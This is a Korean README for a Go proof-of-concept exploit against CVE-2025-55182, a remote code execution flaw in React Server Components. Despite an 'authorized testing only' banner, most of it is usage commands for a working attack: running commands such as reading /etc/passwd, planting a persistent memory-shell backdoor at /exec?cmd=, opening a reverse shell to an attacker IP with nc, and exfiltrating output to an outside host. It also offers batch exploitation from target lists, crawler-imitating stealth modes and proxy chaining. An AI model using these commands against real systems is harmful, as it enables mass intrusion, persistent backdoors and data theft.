
CVE-2025-55182용 Go 기반 개념 증명으로, React Server Components의 치명적인 RCE 취약점입니다. 취약점 확인, 명령 실행, 메모리 셸 주입, 리버스 셸, 배치 스캔 및 프록시 지원을 통해 승인된 보안 테스트를 수행합니다.
⚠️ 승인된 보안 테스트 전용 ⚠️
CVE-2025-55182(CVE-2025-66478이라고도 함)는 React Server Components(Flight 프로토콜)의 심각한 원격 코드 실행 취약점입니다. 이 도구는 보안 연구 및 승인된 침투 테스트를 위한 PoC의 Go 구현체입니다.
영향을 받는 버전:
이 익스플로잇은 Flight 프로토콜 역직렬화의 프로토타입 오염을 활용합니다:
$@ 역직렬화를 사용하여 Chunk 참조를 얻습니다Chunk.prototype.then을 루트 객체의 then 속성으로 배치합니다RESOLVED_MODEL로 설정하여 제어된 가짜 chunk로 initializeModelChunk을 호출합니다response._formData.get을 호출하는 Blob 역직렬화를 트리거합니다response._formData.get을 Function 생성자로 설정합니다/exec?cmd=에 지속적인 백도어GitHub Releases에서 플랫폼에 맞는 최신 릴리스를 다운로드하세요.
사용 가능한 바이너리:
# Clone repository
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC
# Build for current platform
go build -o cve-2025-55182 .
# Or build for all platforms
chmod +x build.sh
./build.sh
./build.sh 실행 후, 바이너리는 지원되는 모든 플랫폼에 대해 build/ 디렉토리에서 사용할 수 있습니다.
# Check single target for vulnerability
./cve-2025-55182 -u http://target:3000 --check
# Detect Next.js version
./cve-2025-55182 -u http://target:3000 --version-check
# Execute command with output
./cve-2025-55182 -u http://target:3000 -c "id"
./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"
# Inject memory shell (checks if already installed first)
./cve-2025-55182 -u http://target:3000 --memshell
# Test if memory shell is active
./cve-2025-55182 -u http://target:3000 --test-shell
# Execute command via memory shell
./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"
# After injection, you can also use curl directly:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=whoami'
# Add custom headers (can be used multiple times)
./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
# Skip SSL certificate verification (for self-signed certs)
./cve-2025-55182 -u https://target:3000 --check -k
./cve-2025-55182 -u https://target:3000 --check --insecure
# Combine with other options
./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
# SOCKS5 with authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080
# SOCKS5 without authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080
# SOCKS4 proxy
./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080
# HTTP proxy
./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080
# Batch check from file
./cve-2025-55182 --urls targets.txt --check
# Batch scan with JSON output
./cve-2025-55182 --urls targets.txt --check --json -o results.json
# Batch scan with multiple threads and stealth
./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s
# Save vulnerable targets to file
./cve-2025-55182 -f targets.txt --check -o vulnerable.txt
# Batch memory shell injection
./cve-2025-55182 --urls targets.txt --memshell --workers 10
# Batch command execution
./cve-2025-55182 --urls targets.txt -c "id" --threads 5
# Reverse shell (mkfifo + nc, works on Alpine)
./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444
# Start listener on attacker machine first:
nc -lvnp 4444
# Exfiltrate command output via HTTP POST
./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
# Start listener: nc -lvnp 4444
| Option | Description |
|---|---|
-u, --url | 대상 URL (예: http://localhost:3000) |
-f, --file | 대상 URL 목록이 포함된 파일 (줄당 하나) |
--urls | -f/--file의 별칭 |
-o, --output | 취약한 대상에 대한 출력 파일 |
--json | 결과를 JSON 형식으로 출력 |
-c, --command | 실행할 명령 (출력 포함) |
--check | 취약점 확인 |
--version-check | Next.js 버전 감지 |
--proxy | 프록시 URL (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port) |
-H, --header | 사용자 지정 헤더 (여러 번 사용 가능) |
-k, --insecure | SSL/TLS 인증서 검증 건너뛰기 |
--stealth | 스텔스 모드: browser, crawler, security (기본값: browser) |
--delay | 요청 간 지연 시간 (예: 2s, 500ms) |
--variants | 철저한 확인을 위해 여러 페이로드 변형 사용 |
--memshell | 메모리 셸 주입 (지속적 백도어) |
--test-shell | 메모리 셸 활성 여부 테스트 |
--shell-exec | 메모리 셸을 통한 명령 실행 |
--revshell IP PORT | 리버스 셸 설정 |
--exfil CMD IP PORT | 명령 실행 및 출력 POST 전송 |
-t, --timeout | 요청 제한 시간(초) (기본값: 15) |
--threads | 동시 스레드 수 (기본값: 10) |
--workers | --threads의 별칭 |
--nocolor | 색상 출력 비활성화 (Windows/파이프용) |
-h, --help | 도움말 메시지 표시 |
-v, --version | 버전 표시 |
socks5://user:pass@ip:port - SOCKS5 with authentication
socks5://ip:port - SOCKS5 without authentication
socks5h://ip:port - SOCKS5 with remote DNS resolution
socks4://ip:port - SOCKS4 proxy
socks4a://ip:port - SOCKS4a proxy
http://user:pass@ip:port - HTTP proxy with authentication
http://ip:port - HTTP proxy without authentication
https://ip:port - HTTPS proxy
| Mode | Description |
|---|---|
browser | 실제 브라우저 요청 모방 (Chrome, Firefox, Safari, Edge) - 기본값 |
crawler | 검색 엔진 크롤러 모방 (Googlebot, Bingbot, Baiduspider 등) |
security | 보안 스캐너 User-Agent 사용 (Nessus, Nuclei) |
메모리 셸 기능은 다음을 수행하는 지속적인 백도어를 주입합니다:
cmd 쿼리 매개변수 허용# After injection:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=ls+-la'
curl 'http://target:3000/exec?cmd=cat+/etc/passwd'
.
├── main.go # CLI entry point
├── pkg/
│ ├── colors/
│ │ └── colors.go # Terminal colors with --nocolor support
│ ├── exploit/
│ │ └── exploit.go # Core exploit logic, memory shell, version detection
│ ├── proxy/
│ │ └── proxy.go # SOCKS4/5, HTTP proxy support
│ ├── scanner/
│ │ └── scanner.go # Batch scanning with JSON output
│ └── stealth/
│ └── stealth.go # User-Agent randomization
├── build.sh # Cross-platform build script
├── go.mod # Go module file
├── go.sum # Go dependencies
└── README.md # This file
build.sh 스크립트는 30개 이상의 플랫폼용으로 빌드합니다: